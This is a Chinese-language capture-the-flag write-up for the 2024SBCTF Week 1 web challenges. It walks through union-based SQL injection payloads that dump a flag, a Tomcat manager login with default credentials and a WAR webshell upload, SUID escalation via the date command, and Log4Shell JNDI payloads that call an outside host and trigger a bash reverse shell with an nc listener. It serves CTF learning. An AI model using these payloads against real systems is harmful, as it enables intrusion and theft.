2024SBCTF-Week1
假期的训练赛
Web
php_hacker
非常经典的复建题
1 |
|
ez_sqli
/search有回显,选择这个比较爽
搜一下1,观察请求体TVE9PQ%3d%3d
,发现经过一次url 两次base64。下面我们提交的请求都要先base64两次然后url一次。
开始找注入点,’#后正常输出,#和”#后输出都会变化,确定包裹方式为’#。(其余包裹方式可自行尝试)
有回显的情况先看回显有几列,1'order by 4#
正常,5会报错,确定有4列。
下面确定哪列有回显,1'union select 1,2,3,4#
发现234都有回显。
爆当前库名:1'union select 1,2,3,database()#
库名为sql1
爆表名:1'union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='sql1'#
有表items,secrets,users
爆secrets列名:1'union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='secrets'#
,发现有id,secret_info
爆所有字段:1'union select 1,2,3,group_concat(concat_ws(0x7e,id,secret_info)) FROM sql1.secrets#
,拿到flag。
ez_cat
先看题目提示说是tomcat服务器,然后提示说是suid提权,并且给了admin:admin
(第一眼还不知道这代表啥)
确定是tomcat以后搜一下tomcat漏洞,发现这篇干货|最全的Tomcat漏洞复现笔记-腾讯云开发者社区-腾讯云 (tencent.com)里面有很多方式,尝试一番发现admin就是控制台的账号密码,进入了控制台。
接着就是上传war包,首先抄一个马test.jsp
1 | <%! |
然后打包成war文件上传,打包命令是jar -cvf test.war test.jsp
。
上传以后发现路径里已经显示了/test,用蚁剑访问http://47.76.71.50:20007/test/test.jsp(必须要访问到里面的马的),密码是passwd。
进入以后发现flag.txt在根目录下,但是权限不够无法访问,结合提示考虑suid提权:
find / -user root -perm -4000 -print 2>/dev/null
找到所有可能用于提权的指令,
发现有一个date,date虽然不能直接帮我们提权但是可以用来读文件的
date -f /flag.txt
读出flag。
java_signin
(拿人家提示套过程的我是屑
使用jadx逆jar包,查看pom.xml,发现其中存在log4j2,搜索发现CVE-2021-44228
首先尝试是否存在这个漏洞,找个dnslog服务,然后使用payload:${jndi:ldap://bd079ba8b5.ipv6.bypass.eu.org.}
难点在找注入点:正常来说如果用户有搜索框提交框的话,那么可能搜索记录会被日志记录从而触发漏洞,但是这个网站点开就是跳转到原神官网,没有其他路由,所以是不存在这种可能性的;然后根据masterlin的提示:报错触发log4j2日志记录,最开始尝试的是访问不存在的路由或者使用post之类的方式,但是都没触发,本地起环境的话发现只是warn,到不了error的级别;一筹莫展之际想到日志可能记录访问者ua之类的东西,开始fuzz各个请求头,发现Accept请求头如果改成payload的话能触发!
于是测试一个更有代表性的版本:${jndi:ldap://${sys:java.version}.bd079ba8b5.ipv6.bypass.eu.org.}
发现返回信息中带有它的java版本,证明漏洞存在,开始getshell。
在vps的一个终端上启动
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A "攻击机IP" |
另一个监听反弹shell的端口
1 | nc -lvp 你的端口 |
(但是我遇到一个问题:有些时候payload正确就是弹不上shell,不知道为什么,明天再试试)
直接查看flag就可以。
attack_shiro
这题居然是卡最久的,太难绷了。。。
主要是配环境,这个工具需要java8,装完java8一把梭就可以。
逆天的是我环境变量明明是java21,装完java8默认成java8了,太特么离谱了。
Pwn
想做pwn但是太菜,日后再更~